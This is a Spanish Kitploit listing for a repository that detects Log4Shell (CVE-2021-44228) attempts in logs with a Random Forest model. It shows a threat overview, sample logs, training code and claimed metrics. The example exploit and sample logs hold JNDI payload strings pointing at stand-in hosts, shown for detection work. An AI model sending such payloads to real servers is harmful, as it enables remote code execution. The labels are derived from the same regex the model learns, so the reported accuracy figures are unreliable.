¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!
Log4Shell-vulnerability-CVE-2021-44228- — Este repositorio proporciona un análisis en profundidad de la vulnerabilidad Log4Shell (CVE-2021-44228) e implementa un enfoque basado en aprendizaje automático para detectar intentos de explotación en datos de registro. | Kitploit
Este repositorio proporciona un análisis en profundidad de la vulnerabilidad Log4Shell (CVE-2021-44228) e implementa un enfoque basado en aprendizaje automático para detectar intentos de explotación en datos de registro.
Este repositorio proporciona un análisis en profundidad y la implementación de un sistema de detección de amenazas Log4Shell (CVE-2021-44228) basado en aprendizaje automático (Machine Learning). Incluye:
Comprender Log4Shell: qué es y por qué es peligroso
Recopilación de conjuntos de datos: fuentes y pasos de preprocesamiento
Ingeniería de características: extracción de patrones maliciosos basados en JNDI
Entrenamiento del modelo de aprendizaje automático: detección basada en Random Forest
Resultados y análisis: métricas de rendimiento y gráficos de evaluación
Conclusión y trabajo futuro
Descripción general de la amenaza - Log4Shell (CVE-2021-44228)
Vulnerabilidad: ejecución remota de código (RCE) en Apache Log4j 2
Ejemplo de explotación:
root@kitploit:~
${jndi:ldap://malicious-server.com/exploit}
Impacto: permite a los atacantes tomar el control total de los sistemas afectados
Mitigación: actualice Log4j a versiones parcheadas (2.17.0 o posteriores) y aplique reglas de firewall
Ejemplo de conjunto de datos de registros (log4shell_logs.csv)
Marca de tiempo
IP de origen
IP de destino
Solicitud
Código de estado
User-Agent
Mensaje de registro
2023-02-01 12:10:25
192.168.1.5
45.33.32.156
GET /api/login
200
curl/7.64
${jndi:ldap://malicious.com/exploit}
2023-02-01 12:11:10
172.16.10.3
132.154.23.1
POST /data
500
Java/1.8.0
Mensaje de registro normal
2023-02-01 12:12:45
10.10.10.5
203.0.113.7
GET /search
403
Mozilla/5.0
${jndi:dns://evil.com/exploit}
Ingeniería de características
Normalización de registros: convertir marcas de tiempo y extraer campos
Extracción de características basada en expresiones regulares: identificar patrones jndi, ldap, rmi y dns
Vectorización de texto: transformación de características basada en TF-IDF
Modelo de aprendizaje automático para la detección de amenazas
Algoritmo: clasificador Random Forest
Métricas de evaluación: exactitud, precisión, recall y puntuación F1
Código Python para el entrenamiento del modelo
root@kitploit:~
import pandas as pd
import re
from sklearn.model_selection import train_test_split
from sklearn.ensemble import RandomForestClassifier
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.metrics import classification_report
# Load dataset
df = pd.read_csv("datasets/log4shell_logs.csv")
# Feature Engineering - Extracting JNDI patterns
df["log_contains_jndi"] = df["Log Message"].apply(lambda x: 1 if re.search(r'\$\{jndi:', str(x), re.IGNORECASE) else 0)
# Text vectorization
vectorizer = TfidfVectorizer()
X = vectorizer.fit_transform(df["Log Message"])
y = df["log_contains_jndi"]
# Train-test split
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3, random_state=42)
# Train model
clf = RandomForestClassifier(n_estimators=100, random_state=42)
clf.fit(X_train, y_train)
# Predictions
y_pred = clf.predict(X_test)
# Model Evaluation
print(classification_report(y_test, y_pred))
Resultados y análisis de rendimiento
Resultados de las pruebas:
Precisión: 98%
Recall: 95%
Puntuación F1: 96%
Tasa de falsos positivos: 3%
Comparación con trabajos existentes:
Los sistemas SIEM tradicionales basados en reglas tienen una exactitud del 80-85%.
Nuestro enfoque basado en ML alcanza una exactitud del 96%, mejorando significativamente las tasas de detección.
En comparación con los métodos basados en aprendizaje profundo, nuestro modelo Random Forest es más rápido e interpretable y logra una precisión similar.
Curva de precisión-recall
Matriz de confusión
Conclusión y trabajo futuro
Conclusión:
El modelo Random Forest detecta eficazmente las amenazas Log4Shell con alta precisión.
La extracción de características mediante el reconocimiento de patrones JNDI mejora la exactitud.
Los registros del mundo real pueden contener evasión adversaria, lo que requiere un ajuste adicional.
Trabajo futuro:
Implementar aprendizaje profundo (modelos LSTM y basados en Transformers) para la detección de anomalías.
Integrar canales de procesamiento de registros en tiempo real (p. ej., ELK stack, Apache Kafka).
Extender la detección a otras vulnerabilidades CVE basadas en registros.
Cómo usar
Clone el repositorio:
root@kitploit:~
git clone https://github.com/yourgithub/Log4Shell-Threat-Detection.git
cd Log4Shell-Threat-Detection
Instale las dependencias:
root@kitploit:~
pip install -r requirements.txt
Ejecute el script de entrenamiento del modelo:
root@kitploit:~
python scripts/model_training.py
Analice los resultados de detección en la carpeta results/.